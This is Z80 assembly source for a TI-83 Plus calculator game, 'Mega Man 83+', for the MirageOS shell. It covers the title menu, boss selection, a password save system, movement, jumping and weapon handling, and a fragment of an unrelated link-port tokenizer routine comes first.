pop hl - pop bc - ret - -_Chk_Timeout: - dec hl - ld a, h - or l - ret nz -_Error: - pop af - ld a, RED1_WHITE1 - out (link_port), a - scf - jr _Exit - -.echo "input \t" -.echo $-vect_input -.echo "\n" - - -_token: - ld a, ' ' - cpi - jr z, $-2 - dec hl - ld a, (hl) - ld bc, $2022 - cp c - jr nz, $+3 - ld b, $22 - inc hl -_tok2: - ld a, (hl) - ldi - inc bc - or a - scf - ret z - cp b - jr z, _tok3 - cp $5C - jr z, _escape - cp c - jr nz, _tok2 -_tok3: - dec de - xor a - ld (de), a - inc de - ret - -_escape: - ld a, (hl) - inc hl - cp $5C - jr z, _tok2 - or a - scf - ret z - dec de - cp c - jr nz, _esc2 - ld a, c -_esc3: - ld (de), a - inc de - jr _tok2 -_esc2: - cp 'n' - jr nz, _tok2 - ld a, $0A - jr _esc3 - -.echo "extract \t" -.echo $-vect_extract -.echo "\n" - -.NOLIST - -#define equ .equ -#define EQU .equ -#define end .end - -#include "ti83plus.inc" -#include "mirage.inc" -.LIST - -#DEFINE kDown 01h -#DEFINE kLeft 02h -#DEFINE kRight 03h -#DEFINE kUp 04h -#DEFINE kEnter 09h -#DEFINE kMode 37h -#DEFINE kDel 38h -#DEFINE kYEq 35h -#DEFINE k2nd 36h -#DEFINE kAlpha 30h - -#define xmm savesscreen ; Mega Man's x-coord -#define ymm savesscreen+2 ; Mega Man's y-coord -#define jrem savesscreen+3 ; remebers the y-coord where the jump started -#define jchk savesscreen+4 ; check for jump: 0=no jump 1=jump up 2=jump down -#define wchk savesscreen+5 ; check if ok to shoot again: 0=yes >0=no -#define dir savesscreen+6 ; direction Mega Man is facing: 0=left 1=right -#define x2 savesscreen+7 ; x-coord for many different things -#define y2 savesscreen+8 ; y-coord for many different things -#define xb savesscreen+9 ; x-coord for boss -#define yb savesscreen+10 ; y-coord for boss -#define wx1 savesscreen+11 ; x-coord for 1st shot -#define wy1 savesscreen+12 ; y-coord for 1st shot -#define wx2 savesscreen+13 ; x-coord for 2nd shot -#define wy2 savesscreen+14 ; y-coord for 2nd shot -#define wx3 savesscreen+15 ; x-coord for 3rd shot -#define wy3 savesscreen+16 ; y-coord for 3rd shot -#define bdir savesscreen+17 ; direction of boss: 0=left 1=right -#define wdir1 savesscreen+18 ; direction of 1st shot: 0=left 1=right -#define wdir2 savesscreen+19 ; direction of 2nd shot: 0=left 1=right -#define wdir3 savesscreen+20 ; direction of 3rd shot: 0=left 1=right -#define wchk1 savesscreen+21 ; check if bullet #1 is still on screen: 0=no 1=yes -#define wchk2 savesscreen+22 ; check if bullet #2 is still on screen: 0=no 1=yes -#define wchk3 savesscreen+23 ; check if bullet #3 is still on screen: 0=no 1=yes -#define curlvl savesscreen+24 ; pointer to the beginning of the level data -#define feet savesscreen+26 ; check for which running sprite to use: 0 or 1 -#define xscr savesscreen+27 ; x scroller -#define tempscr savesscreen+29 ; amount scrolled within incomplete block -#define schk savesscreen+31 ; scroll check: 0=no 1=yes -#define boss savesscreen+33 ; which boss u will face: 1 2 3=top row 4 5 6=middle row 7 8 9=bottom row -#define wpnspr savesscreen+34 ; current weapon sprite -#define smlspr savesscreen+36 ; current 8x8 sprite -#define curpic savesscreen+38 ; current pic to draw -#define bosspic savesscreen+40 ; current boss sprite -#define death savesscreen+42 ; check if dead: 0=no 1=yes -#define win savesscreen+44 ; check if level is completed: 0=no 1=yes -#define xe savesscreen+45 ; x-coord for enemy -#define ye savesscreen+46 ; y-coord for enemy -#define edir savesscreen+47 ; direction enemy is travelling -#define echk savesscreen+48 ; check for onscreen enemy: 0=no 1=i 2=t 3=dead -#define enspr savesscreen+49 ; current enemy sprite -#define ecount savesscreen+51 ; counts how many pixels enemy has moved (32 pixels allowed) -#define ecount2 savesscreen+52 ; counts how many pixels have scrolled since enemy appeared -#define bchk savesscreen+53 ; checks for boss: 0=no 1=yes -#define bwx savesscreen+54 ; x-coord of boss's shot -#define bwspr savesscreen+55 ; sprite for boss's shot -#define bwchk savesscreen+57 ; check for boss's shot onscreen -#define bjchk savesscreen+58 ; check for boss's jump: 0=no jump 1=jump down 2=jump up -#define lvldone savesscreen+59 ; checks levels completed: 0 1 2=top row 3 _ 4=middle row 5 6 7=bottom row -#define anpw savesscreen+60 ; checks for password dots corresponding to Anchorman -#define mapw savesscreen+61 ; checks for password dots corresponding to Mailman -#define mdpw savesscreen+62 ; checks for password dots corresponding to Madman -#define dopw savesscreen+63 ; checks for password dots corresponding to Doorman -#define popw savesscreen+64 ; checks for password dots corresponding to Policeman -#define frpw savesscreen+65 ; checks for password dots corresponding to Freshman -#define sepw savesscreen+66 ; checks for password dots corresponding to Top Secret Weapon -#define sapw savesscreen+67 ; checks for password dots corresponding to Salesman -#define mipw savesscreen+68 ; checks for password dots corresponding to Milkman -#define tankpw savesscreen+69 ; checks for password dots corresponding to energy tanks -#define lives savesscreen+70 ; the number of lives you have -#define tanks savesscreen+71 ; the number of energy tanks you have -#define remlvl savesscreen+72 ; remembers which level you were on before the special boss screens -#define wpn savesscreen+74 ; which weapon you are using: 1=an...5=??...9=mi -#define wrem1 savesscreen+75 ; remembers x-coord where short-range bullet #1 must stop -#define wrem2 savesscreen+76 ; remembers x-coord where short-range bullet #2 must stop -#define wrem3 savesscreen+77 ; remembers x-coord where short-range bullet #3 must stop -#define bcount savesscreen+78 ; special counting variable used for final bosses -#define item savesscreen+79 ; check for item in level: 0=no 1=yes 2=got -#define enp savesscreen+80 ; life energy -#define enan savesscreen+81 ; energy for anchor toss -#define enma savesscreen+82 ; energy for stamp throw -#define enmd savesscreen+83 ; energy for swearing scream -#define endo savesscreen+84 ; energy for splinter shot -#define ense savesscreen+85 ; energy for top secret weapon -#define enpo savesscreen+86 ; energy for badge boomerang -#define enfr savesscreen+87 ; energy for zit shield -#define ensa savesscreen+88 ; energy for bill charge -#define enmi savesscreen+89 ; energy for milk bubble -#define enwpn savesscreen+90 ; energy for current weapon -#define ene savesscreen+91 ; energy for enemy -#define enb savesscreen+92 ; energy for boss -#define hchk savesscreen+93 ; check if you've been hit: 0=no 1=yes -#define stack savesscreen+93 ; save stack for debugging (?) - - .org $9d93 ;Origin (set back two to account for AsmPrgm) - .db $BB,$6D ;Compiled AsmPrgm token - ret ;So TIOS wont run the program - .db 1 ;Identifier as MirageOS program - .db %00000000,%00000000 - .db %00000000,%00000000 - .db %00000011,%00000000 - .db %00000100,%10000000 - .db %00001111,%01000000 - .db %00001010,%11000000 - .db %00000100,%10000000 - .db %00000011,%00000000 - .db %00001100,%11100000 - .db %00001100,%11100000 - .db %00000011,%00000000 - .db %00000111,%11100000 - .db %00001010,%11100000 - .db %00001110,%00000000 - .db %00000000,%00000000 -Description: .db "Mega Man 83+",0 -prog_start: - bcall(_grbufclr) - ld a,19 - ld hl,djs - call centertext - ld a,25 - ld hl,and_inf - call centertext - ld a,31 - ld hl,djs2 - call centertext - ld a,37 - ld hl,pre - call centertext -djsp_loop: - call wait - call fastcopys - ld hl,intro - call draw_text -story_loop2: - bcall(_clrlcdfull) - bcall(_grbufclr) - xor a ; no levels completed - ld (lvldone),a - ld (tanks),a ; 0 energy tanks - inc a - ld (tankpw),a ; 0 energy tanks (for password system) - inc a - inc a - ld (lives),a ; 3 lives - ld hl,logo ; display title screen - ld de,PLOTSSCREEN - call disprle - call fastcopys - ld a,17 - ld (x2),a - ld a,43 - ld (y2),a - ld hl,pwdot - ld (smlspr),hl -menu_loop: - call xor_8x8 - call fastcopys - call xor_8x8 - bcall(_getcsc) - cp kUp - jr z,curs_change - cp kDown - jr z,curs_change - cp kEnter - jr z,title_done - cp kMode - jr nz,menu_loop - ret -curs_change: - ld a,(y2) - ld b,a - ld a,97 - sub b - ld (y2),a - jr menu_loop -title_done: - ld a,(y2) - cp 43 - jr z,cb_init - call enter_pw - cp kMode ; exit game if MODE was pressed on enter password screen - ret z -cb_init: - ld a,33 - ld (x2),a - ld a,22 - ld (y2),a - bcall(_clrlcdfull) -choose_boss: - bcall(_grbufclr) - ld hl,cbs - ld de,PLOTSSCREEN - call disprle - ld a,(lvldone) - ld c,a - rrc c - call c,no_an - rrc c - call c,no_ma - rrc c - call c,no_md - rrc c - call c,no_do - rrc c - call c,no_po - rrc c - call c,no_fr - rrc c - call c,no_sa - rrc c - call c,no_mi - call fastcopys -boss_loop: - call xor_corners - call fastcopys - call xor_corners - bcall(_getcsc) - cp kUp - jr z,bcurs_up - cp kDown - jr z,bcurs_down - cp kLeft - jr z,bcurs_left - cp kRight - jr z,bcurs_right - cp kEnter - jr z,find_boss - cp kMode - jr nz,boss_loop - bcall(_getcsc) ; clear the keybuffer - bcall(_grbufclr) - bcall(_clrlcdfull) - ret -bcurs_up: - ld a,(y2) - cp 1 - jr z,boss_loop - ld a,(y2) - sub 21 - ld (y2),a - jr boss_loop -bcurs_down: - ld a,(y2) - cp 43 - jp z,boss_loop - ld a,(y2) - add a,21 - ld (y2),a - jp boss_loop -bcurs_left: - ld a,(x2) - cp 2 - jp z,boss_loop - ld a,(x2) - sub 31 - ld (x2),a - jp boss_loop -bcurs_right: - ld a,(x2) - cp 64 - jp z,boss_loop - ld a,(x2) - add a,31 - ld (x2),a - jp boss_loop -find_boss: - ld a,(y2) - cp 1 - jr z,row1 - cp 22 - jr z,row2 - ld a,7 - jr found_row -row2: - ld a,4 - jr found_row -row1: - ld a,1 -found_row: - ld (boss),a - ld a,(x2) - cp 64 - jr z,add2 - cp 33 - jr nz,add0 - ld a,(boss) - inc a - jr add_done -add0: - ld a,(boss) - jr add_done -add2: - ld a,(boss) - add a,2 -add_done: - ld (boss),a - ld a,44 - ld (xb),a - ld a,27 - ld (yb),a - ld a,(boss) - cp 1 - jr z,an_init - cp 2 - jr z,ma_init - cp 3 - jr z,md_init - cp 4 - jp z,do_init - cp 5 - jp z,ti_init - cp 6 - jp z,po_init - cp 7 - jp z,fr_init - cp 8 - jp z,sa_init - cp 9 - jp z,mi_init -an_init: - ld a,(lvldone) - bit 0,a - jp c,choose_boss - ld hl,ansl - call disp_boss - ld hl,wpan - ld (bwspr),hl - ld a,54 - ld hl,a_n - call centertext - ld hl,lvlan - jp intro_done -ma_init: - ld a,(lvldone) - bit 1,a - jp nz,choose_boss - ld hl,masl - call disp_boss - ld hl,wpma - ld (bwspr),hl - ld a,54 - ld hl,m_a - call centertext - ld hl,lvlma - jp intro_done -md_init: - ld a,(lvldone) - bit 2,a - jp nz,choose_boss - ld hl,mdsl - call disp_boss - ld hl,wpmd - ld (bwspr),hl - ld a,54 - ld hl,m_d - call centertext - ld hl,lvlmd - jp intro_done -do_init: - ld a,(lvldone) - bit 3,a - jp nz,choose_boss - ld hl,dosl - call disp_boss - ld hl,wpdo - ld (bwspr),hl - ld a,54 - ld hl,d_o - call centertext - ld hl,lvldo - jp intro_done -ti_init: - ld a,(lvldone) - rrc a - jp nc,choose_boss - rrc a - jp nc,choose_boss - rrc a - jp nc,choose_boss - rrc a - jp nc,choose_boss - rrc a - jp nc,choose_boss - rrc a - jp nc,choose_boss - rrc a - jp nc,choose_boss - rrc a - jp nc,choose_boss - ld hl,tisl - call disp_boss - ld hl,wpp - ld (bwspr),hl - ld a,54 - ld hl,t_i - call centertext - ld hl,lvlti - jp intro_done -po_init: - ld a,(lvldone) - bit 4,a - jp nz,choose_boss - ld hl,posl - call disp_boss - ld hl,wppo - ld (bwspr),hl - ld a,54 - ld hl,p_o - call centertext - ld hl,lvlpo - jr intro_done -fr_init: - ld a,(lvldone) - bit 5,a - jp nz,choose_boss - ld hl,frsl - call disp_boss - ld hl,wpfr - ld (bwspr),hl - ld a,54 - ld hl,f_r - call centertext - ld hl,lvlfr - jr intro_done -sa_init: - ld a,(lvldone) - bit 6,a - jp nz,choose_boss - ld hl,sasl - call disp_boss - ld hl,wpsa - ld (bwspr),hl - ld a,54 - ld hl,s_a - call centertext - ld hl,lvlsa - jr intro_done -mi_init: - ld a,(lvldone) - bit 7,a - jp nz,choose_boss - ld hl,misl - call disp_boss - ld hl,wpmi - ld (bwspr),hl - ld a,54 - ld hl,m_i - call centertext - ld hl,lvlmi -intro_done: - ld (curlvl),hl ; remember the start of the level - ld (remlvl),hl - call delay - bcall(_clrlcdfull) - bcall(_grbufclr) - call wpn_fill -part1_init: - call init_vars - ld a,44 ; initialize some variables - ld (ymm),a - xor a - ld (jchk),a - ld (bchk),a - ld (wpn),a - inc a - ld (dir),a - ld (schk),a - ld hl,wpp - ld (wpnspr),hl - call ShowLevel - call main_loop - bcall(_getcsc) ; clear the keybuffer - bcall(_grbufclr) - bcall(_clrlcdfull) - ld a,(death) ; check if died - or a - jp nz,lost_life - ld a,(win) - or a - ret z ; exit loop if level has not been completed -part2_init: - ld hl,lvlb1 - xor a - ld (bchk),a - call init_lvlb - ld a,(death) ; check if died - or a - jp nz,lost_life - ld a,(win) - or a - ret z ; exit loop if level has not been completed - xor a ; initialize boss variables - ld (bdir),a - ld (bjchk),a - inc a - ld (bchk),a - ld a,28 - ld (enb),a - ld a,44 - ld (yb),a - ld a,76 - ld (xb),a - ld hl,lvlb2 - call init_lvlb - ld a,(death) ; check if died - or a - jp nz,lost_life - ld a,(win) - or a - ret z ; exit game if level has not been completed - ld a,(lvldone) - ld b,a - ld a,(boss) - cp 5 - jp z,final_boss - cp 1 - jr z,set_bit0 - cp 2 - jr z,set_bit1 - cp 3 - jr z,set_bit2 - cp 4 - jr z,set_bit3 - cp 6 - jr z,set_bit4 - cp 7 - jr z,set_bit5 - cp 8 - jr z,set_bit6 - set 7,b - jr set_bit_done -set_bit6: - set 6,b - jr set_bit_done -set_bit5: - set 5,b - jr set_bit_done -set_bit4: - set 4,b - jr set_bit_done -set_bit3: - set 3,b - jr set_bit_done -set_bit2: - set 2,b - jr set_bit_done -set_bit1: - set 1,b - jr set_bit_done -set_bit0: - set 0,b -set_bit_done: - ld a,b - ld (lvldone),a - call you_got ; show "you got x weapon" screen - cp kMode ; exit is MODE was pressed at you got screen - ret z - call show_pw ; show password - cp kMode ; exit if MODE was pressed at show password screen - ret z - jp cb_init -lost_life: - call wpn_fill - ld a,(lives) ; go to game over screen if all lives lost - or a - jr z,game_over - ld a,(schk) - or a - jp z,part2_init - jp part1_init -game_over: - call show_pw - cp kMode ; exit if MODE was pressed at show password screen - ret z - ld a,3 - ld (lives),a - bcall(_clrlcdfull) - bcall(_grbufclr) - ld hl,game_over_lindat - call draw - call fastcopys - ld de,18*256+31 - ld hl,gover - call setvputs - ld de,25*256+25 - ld hl,cont - call setvputs - ld de,32*256+14 - ld hl,stgsel - call setvputs - ld de,39*256+31 - ld hl,endgame - call setvputs - bcall(_grbufclr) -go_loop: - bcall(_getcsc) - cp k2nd - jr z,go_cont - cp kAlpha - jp z,cb_init - cp kMode - ret z - jr go_loop -go_cont: - ld hl,(remlvl) - ld (curlvl),hl - jp part1_init -final_boss: - xor a - ld (boss),a ;select boss 0 - ld (win),a ;you haven't won - call main_loop ;call the main loop - ld a,(death) ;check if you died - or a - jp nz,lost_life - ld a,(win) - or a - ret z ; exit game if level has not been completed -ending: - ld hl,endingtext - call draw_text - ld hl,creditext - call draw_text - ld a,11 - ld hl,pres - call centertext - ld a,22 - ld hl,djs - call centertext - ld a,28 - ld hl,and_inf - call centertext - ld a,34 - ld hl,djs2 - call centertext - call clrwait - ret -init_lvlb: - ld (curlvl),hl - call init_vars - ld (schk),a - ld (bcount),a - call ShowLevel - call main_loop - ld a,(win) ; see if you defeated TI's spaceship - cp 2 - jr z,ship_dead - bcall(_getcsc) ; clear the keybuffer - bcall(_grbufclr) - bcall(_clrlcdfull) - ret -init_vars: - ld hl,0 - ld (xscr),hl - ld (tempscr),hl - ld hl,8 ; initialize some variables - ld (xmm),hl - xor a - ld (wchk),a - ld (wchk1),a - ld (wchk2),a - ld (wchk3),a - ld (win),a - ld (death),a - ld (feet),a - ld (item),a - ld (echk),a - ld (bwchk),a - ld (hchk),a - ret -ship_dead: - ld a,28 - ld (enb),a - call check_spr - call xor_char - ld b,0 ; erase ship - call ship_init -ti_fall: ; TI falls to the bottom of the screen - ld a,(yb) - inc a - ld (yb),a - call xor_boss - call fastcopys - call xor_boss - ld a,(yb) - cp 44 - jr nz,ti_fall - call check_spr - call xor_char - ret -main_loop: - ld a,(hchk) - or a - call nz,thrown_back - ld hl,(xmm) - call load_x - ld a,(ymm) - add a,4 - push hl - push af - call GetBlock - call CheckItem - pop af - pop hl - ld de,7 - add hl,de - call GetBlock - call CheckItem - ld a,(echk) - or a - call nz,check_ehitu - ld a,(bchk) - or a - call nz,check_bhitu - ld a,(bwchk) - or a - call nz,check_bwhitu - call ShowLevel - ld a,(boss) ;draw spaceship if necessary - cp 5 - ld b,1 - call z,ship_init ;if at boss 5 (TI) draw the ship - call draw_nrg ; draw energy lines - call check_spr ; figure out which Mega Man sprite to use - call xor_char ; draw it - ld a,(wchk1) ; check if shots should be displayed and display as necessary - or a - call nz,xor_wpn1 - ld a,(wchk2) - or a - call nz,xor_wpn2 - ld a,(wchk3) - or a - call nz,xor_wpn3 - ld a,(echk) ;check for enemy and display as necessary - push af - cp 1 - call z,xor_en - pop af - cp 2 - call z,xor_en - ld a,(bwchk) ;check for boss's shot and display as necessary - or a - call nz,xor_bwpn - ld a,(bchk) ;check for boss and display as necessary - or a - call nz,xor_boss - call fastcopys ;copy everything to the buffer - ld a,(enp) - or a - call z,die - call xor_char ;erase the Megaman sprite - ld a,(wchk1) ;check for shots and erase as necessary - or a - call nz,shot1_move - ld a,(wchk2) - or a - call nz,shot2_move - ld a,(wchk3) - or a - call nz,shot3_move - ld a,(echk) ;check for enemy and erase as necessary - push af - cp 1 - call z,i_move - pop af - cp 2 - call z,t_move - ld a,(bwchk) ;check for boss's shot and erase as necessary - or a - call nz,boss_shot_move - ld a,(bchk) ;check for boss and erase as necessary - or a - call nz,boss_move - bcall(_grbufclr) - ld a,(wchk) - or a - call nz,inc_wchk - call find_spr - ld a,$FD ;check ENTER - out (1),a - in a,(1) - bit 0,a - call z,pause - ld a,$FE ;check arrow keys - out (1),a - in a,(1) - bit 1,a - call z,move_left - bit 2,a - call z,move_right - ld a,$BF ;check other keys - out (1),a - in a,(1) - bit 4,a - call z,sub_screen - bit 5,a - push af - call z,jump - call nz,jchk_now_2 - call fall - pop af - bit 6,a - ret z ;exit loop is MODE has been pressed - ld a,$DF ;check ALPHA - out (1),a - in a,(1) - bit 7,a - call z,shoot - ld a,(death) - or a - ret nz ;exit loop if dead - ld a,(win) - or a - jp z,main_loop ;exit loop if level completed - ret -pause: - call tiny_delay -pause_loop: - bcall(_getcsc) - cp kMode - ret z - cp kEnter - jr nz,pause_loop - call tiny_delay - ret -jchk_now_2: ; make sure you can't jump - push af - ld a,2 - ld (jchk),a - pop af - ret -move_right: - ld a,(feet) - and $02 - ld hl,mmrr2 - jr nz,rr2_spr - ld hl,mmrr -rr2_spr: - ld (curpic),hl - ld a,(xmm) - cp 80 - call z,won - call CheckRight - call z,CheckRight2 - call z,CheckRight3 - jr nz,no_right - call change_right - ld a,(xmm) - cp 44 - jr nz,no_scroll - ld a,(xscr) - cp 68 - jr z,no_scroll - ld a,(schk) - or a - jr z,no_scroll - call scroll - jr no_right -no_scroll: - ld hl,(xmm) - inc hl - ld (xmm),hl -no_right: - ld a,(dir) - or a - call z,change_right - ret -change_right: - call feet_inc - ld a,1 - ld (dir),a - ret -move_left: - push af - ld a,(feet) - and $02 - ld hl,mmrl2 - jr nz,rl2_spr - ld hl,mmrl -rl2_spr: - ld (curpic),hl - ld a,(xmm) - or a - jr z,no_left - call CheckLeft - call z,CheckLeft2 - call z,CheckLeft3 - jr nz,no_left - call change_left - ld hl,(xmm) - dec hl - ld (xmm),hl -no_left: - ld a,(dir) - or a - call nz,change_left - pop af - ret -change_left: - call feet_inc - xor a - ld (dir),a - ret -CheckRight: - ld hl,(xmm) - call load_x - ld de,8 - add hl,de - jr CheckHorz -CheckLeft: - ld hl,(xmm) - call load_x - dec hl -CheckHorz: - ld a,(ymm) - call GetBlock - call CheckTile - ret -CheckRight2: - ld hl,(xmm) - call load_x - ld de,8 - add hl,de - jr CheckHorz2 -CheckLeft2: - ld hl,(xmm) - call load_x - dec hl -CheckHorz2: - ld a,(ymm) - add a,11 - call GetBlock - call CheckTile - ret -CheckRight3: - ld hl,(xmm) - call load_x - ld de,8 - add hl,de - jr CheckHorz3 -CheckLeft3: - ld hl,(xmm) - call load_x - dec hl -CheckHorz3: - ld a,(ymm) - add a,6 - call GetBlock - call CheckTile - ret -GetBlock: ; Gets the block at (HL,A) -> A. HL = addr, B,C = coord - srl h - rr l - srl h - rr l - srl h - rr l ; Divide X with 8 - ld b,l - cp 64 - jr c,OnScreen - xor a -OnScreen: - srl a - srl a - srl a ; Divide Y with 8 - ld c,a - add hl,hl - add hl,hl - add hl,hl - ld d,0 - ld e,a - add hl,de ; HL = x*8+y - ld de,(curlvl) - add hl,de ; Add HL with the pointer to the level data - ld a,(hl) - ret -CheckTile: - or a - ret z - cp 5 - ret c - xor a - ret -CheckItem: - cp 5 - jr z,got_life - cp 6 - jr z,got_tank - ret -got_life: - ld a,(item) - cp 1 - ret nz - inc a - ld (item),a - ld a,(lives) - inc a - ld (lives),a - ret -got_tank: - ld a,(item) - cp 1 - ret nz - inc a - ld (item),a - ld a,(tanks) - inc a - ld (tanks),a - ret -jump: - push af - ld a,(jchk) - cp 2 - jr z,no_jump - or a - jr nz,jump_up - ld a,1 - ld (jchk),a - ld a,(ymm) - sub 10 - jr nc,jrem_not0 - ld a,1 -jrem_not0: - ld (jrem),a -jump_up: - ld a,(jrem) - ld b,a - ld a,(ymm) - cp b - jr c,end_jump - call CheckUp - call z,CheckUp2 - jr nz,end_jump - ld a,(ymm) - dec a - ld (ymm),a - jr no_jump -end_jump: - ld a,2 - ld (jchk),a -no_jump: - pop af - ret -fall: - push af - ld a,(jchk) - cp 1 - jr z,no_fall - call CheckDown - call z,CheckDown2 - jr nz,end_fall - ld a,(ymm) - inc a - ld (ymm),a - cp 52 - call z,die - jr no_fall -end_fall: - xor a - ld (jchk),a -no_fall: - pop af - ret -CheckUp: - ld a,(ymm) - dec a - jr CheckVert -CheckDown: - ld a,(ymm) - add a,12 -CheckVert: - ld hl,(xmm) - call load_x - call GetBlock - call CheckTile - ret -CheckUp2: - ld a,(ymm) - dec a - jr CheckVert2 -CheckDown2: - ld a,(ymm) - add a,12 -CheckVert2: - ld hl,(xmm) - call load_x - ld de,7 - add hl,de - call GetBlock - call CheckTile - ret -shoot_sa: - ld a,(xmm) - ld (wx1),a - ld a,(ymm) - add a,4 - ld (wy1),a - ld a,1 - ld (wchk1),a - ld a,(enwpn) - sub 4 - ld (enwpn),a - call check_spr - call xor_char - ret -shoot_fr: - ld a,(xmm) - ld (wx1),a - ld a,(ymm) - ld (wy1),a - call xor_wpn1 - ld a,(wy1) - add a,4 - ld (wy1),a - call xor_wpn1 - ld a,(wy1) - add a,4 - ld (wy1),a - ld a,1 - ld (wchk1),a - ld a,(enwpn) - sub 4 - ld (enwpn),a - call check_spr - call xor_char - ret -shoot_md: - ld a,(ymm) - inc a - ld (wy1),a - ld a,(dir) - or a - ld a,(xmm) - jr z,smd_left - add a,8 - jr smd_right -smd_left: - sub 8 -smd_right: - ld (wx1),a - ld a,1 - ld (wchk1),a - ld a,(enwpn) - sub 4 - ld (enwpn),a - ret -shoot_se: - ld a,(bchk) ; restrictions on using top secret weapon - or a - ret nz - ld a,(echk) - or a - ret z - cp 3 - ret z - ld a,(ymm) - cp 26 - ret c - ld a,(lives) - cp 3 - ret c - ld a,(tanks) - cp 4 - ret c - call won ; effect is beating the current part of the level if requirements are met - xor a - ld (enwpn),a - ret -shoot: - ld a,(wchk) - or a - ret nz - ld a,(wpn) - or a - jr z,no_check_enwpn - ld a,(enwpn) ; don't shoot if no weapon energy left - or a - ret z -no_check_enwpn: - ld a,(dir) ; make sure you aren't too close to edge of screen - or a - jr z,try_left - ld a,(xmm) - cp 80 - ret nc - jr shoot_cont -try_left: - ld a,(xmm) - cp 8 - ret c -shoot_cont: - ld a,(wpn) - cp 3 - jr z,shoot_md - cp 5 - jr z,shoot_se - cp 7 - jp z,shoot_fr - cp 8 - jp z,shoot_sa - ld a,1 - ld (wchk),a - ld a,(wpn) - or a - jr z,no_dec_enwpn - ld a,(enwpn) - dec a - ld (enwpn),a -no_dec_enwpn: - ld a,(wchk1) ; check for bullet #1 - or a ; if it doesn't exist, it does now - jr z,store_shot1 - ld a,(wchk2) ; check for bullet #2 - or a ; if it doesn't exist, it does now - jr z,store_shot2 - ld a,(wchk3) ; check for bullet #3 - or a ; if it doesn't exist, it does now - ret nz - ld a,(ymm) ; initialize shot #3 - add a,5 - ld (wy3),a - ld a,(dir) - ld (wdir3),a - or a - jr z,shoot_left3 - ld a,(xmm) - add a,8 - ld b,a - add a,12 - jr shoot_init3 -shoot_left3: - ld a,(xmm) - sub 8 - ld b,a - sub 12 -shoot_init3: - res 0,a - ld (wrem3),a - ld a,b - ld (wx3),a - ld a,1 - ld (wchk3),a - ret -store_shot2: - ld a,(ymm) ; initialize shot #2 - add a,5 - ld (wy2),a - ld a,(dir) - ld (wdir2),a - or a - jr z,shoot_left2 - ld a,(xmm) - add a,8 - ld b,a - add a,24 - jr shoot_init2 -shoot_left2: - ld a,(xmm) - sub 8 - ld b,a - sub 24 -shoot_init2: - res 0,a - ld (wrem2),a - ld a,b - ld (wx2),a - ld a,1 - ld (wchk2),a - ret -store_shot1: - ld a,(ymm) ; initialize shot #1 - add a,5 - ld (wy1),a - ld a,(dir) - ld (wdir1),a - or a - jr z,shoot_left1 - ld a,(xmm) - add a,8 - ld b,a - add a,24 - jr shoot_init1 -shoot_left1: - ld a,(xmm) - sub 8 - ld b,a - sub 24 -shoot_init1: - res 0,a - ld (wrem1),a - ld a,b - ld (wx1),a - ld a,1 - ld (wchk1),a - ret -shot3_move: - call xor_wpn3 - ld a,(xmm) - ld b,a - ld a,(wx3) - cp 4 - jr c,sm_end3 - cp 87 - jr nc,sm_end3 - res 0,a - cp b - jr z,sm_end3 - ld b,a - ld a,(wpn) - cp 1 - jr z,sm_short3 - cp 2 - jr z,sm_short3 - cp 6 - jr z,sm_short3 -sm_cont3: - ld a,(wdir3) - or a - ld a,(wpn) - jr z,sm_left3 - inc b - inc b - or a - jr z,smr_two3 - cp 4 - jr z,smr_two3 - cp 6 - jr z,smr_two3 - jr sm_store3 -smr_two3: - inc b - jr sm_store3 -sm_left3: - dec b - dec b - or a - jr z,sml_two3 - cp 4 - jr z,sml_two3 - cp 6 - jr z,sml_two3 -sml_two3: - dec b -sm_store3: - ld a,b - ld (wx3),a - ret -sm_short3: - ld a,(wrem3) - res 0,a - sub b - jr nz,sm_cont3 - ld a,(wpn) - cp 6 - jr z,sm_chg3 -sm_end3: - xor a ; shot is off the screen - ld (wchk3),a - ret -sm_chg3: - ld a,(wdir3) ; reverse dir shot #3 is moving - inc a - and $01 - ld (wdir3),a - jr sm_cont3 -shot2_move: - call xor_wpn2 - ld a,(xmm) - ld b,a - ld a,(wx2) - cp 4 - jr c,sm_end2 - cp 87 - jr nc,sm_end2 - res 0,a - cp b - jr z,sm_end2 - ld b,a - ld a,(wpn) - cp 1 - jr z,sm_short2 - cp 2 - jr z,sm_short2 - cp 6 - jr z,sm_short2 -sm_cont2: - ld a,(wdir2) - or a - ld a,(wpn) - jr z,sm_left2 - inc b - inc b - or a - jr z,smr_two2 - cp 4 - jr z,smr_two2 - cp 6 - jr z,smr_two2 - jr sm_store2 -smr_two2: - inc b - jr sm_store2 -sm_left2: - dec b - dec b - or a - jr z,sml_two2 - cp 4 - jr z,sml_two2 - cp 6 - jr z,sml_two2 -sml_two2: - dec b -sm_store2: - ld a,b - ld (wx2),a - ret -sm_short2: - ld a,(wrem2) - res 0,a - sub b - jr nz,sm_cont2 - ld a,(wpn) - cp 6 - jr z,sm_chg2 -sm_end2: - xor a ; shot is off the screen - ld (wchk2),a - ret -sm_chg2: - ld a,(wdir2) ; reverse dir shot #2 is moving - inc a - and $01 - ld (wdir2),a - jr sm_cont2 -ssa_move: - call check_spr - call xor_char -ssam_loop: - ld a,(wx1) - inc a - ld (wx1),a - call xor_wpn1 - call fastcopys - call xor_wpn1 - ld a,(wx1) - cp 88 - jr nz,ssam_loop -ssam_loop2: - ld a,(wx1) - dec a - ld (wx1),a - call xor_wpn1 - call fastcopys - call xor_wpn1 - ld a,(wx1) - or a - jr nz,ssam_loop2 -ssam_loop3: - ld a,(wx1) - inc a - ld (wx1),a - call xor_wpn1 - call fastcopys - call xor_wpn1 - ld a,(xmm) - ld b,a - ld a,(wx1) - cp b - jr nz,ssam_loop3 - xor a - ld (wchk1),a - ld a,(echk) - or a - jr z,ssam_bchk - cp 3 - jr z,ssam_bchk - ld a,(ye) - ld b,a - ld a,(wy1) - sub 7 - cp b - ret nc - add a,10 - cp b - ret c - xor a - ld a,(ene) - or a - sub 2 - jr nc,sahite_nokill - xor a -sahite_nokill: - ld (ene),a - or a - ret nz - ld a,3 - ld (echk),a - ret -ssam_bchk: - ld a,(bchk) - or a - ret z - ld a,(yb) - ld b,a - ld a,(wy1) - sub 11 - cp b - ret nc - add a,14 - cp b - ret c - call dam7_or1 - ld a,(enb) - or a - sub 1 - jr nc,sahitb_nokill - xor a -sahitb_nokill: - ld (enb),a - ret nz - call won - ret -sfr_move: - ld a,(wy1) - sub 4 - ld (wy1),a - call xor_wpn1 - ld a,(wy1) - sub 4 - ld (wy1),a - call xor_wpn1 - call short_delay - xor a - ld (wchk1),a - call check_spr - call xor_char - ld a,(echk) - or a - jr z,sfrm_bchk - cp 3 - jr z,sfrm_bchk - ld a,(xe) - ld b,a - ld a,(wx1) - sub 11 - cp b - ret nc - 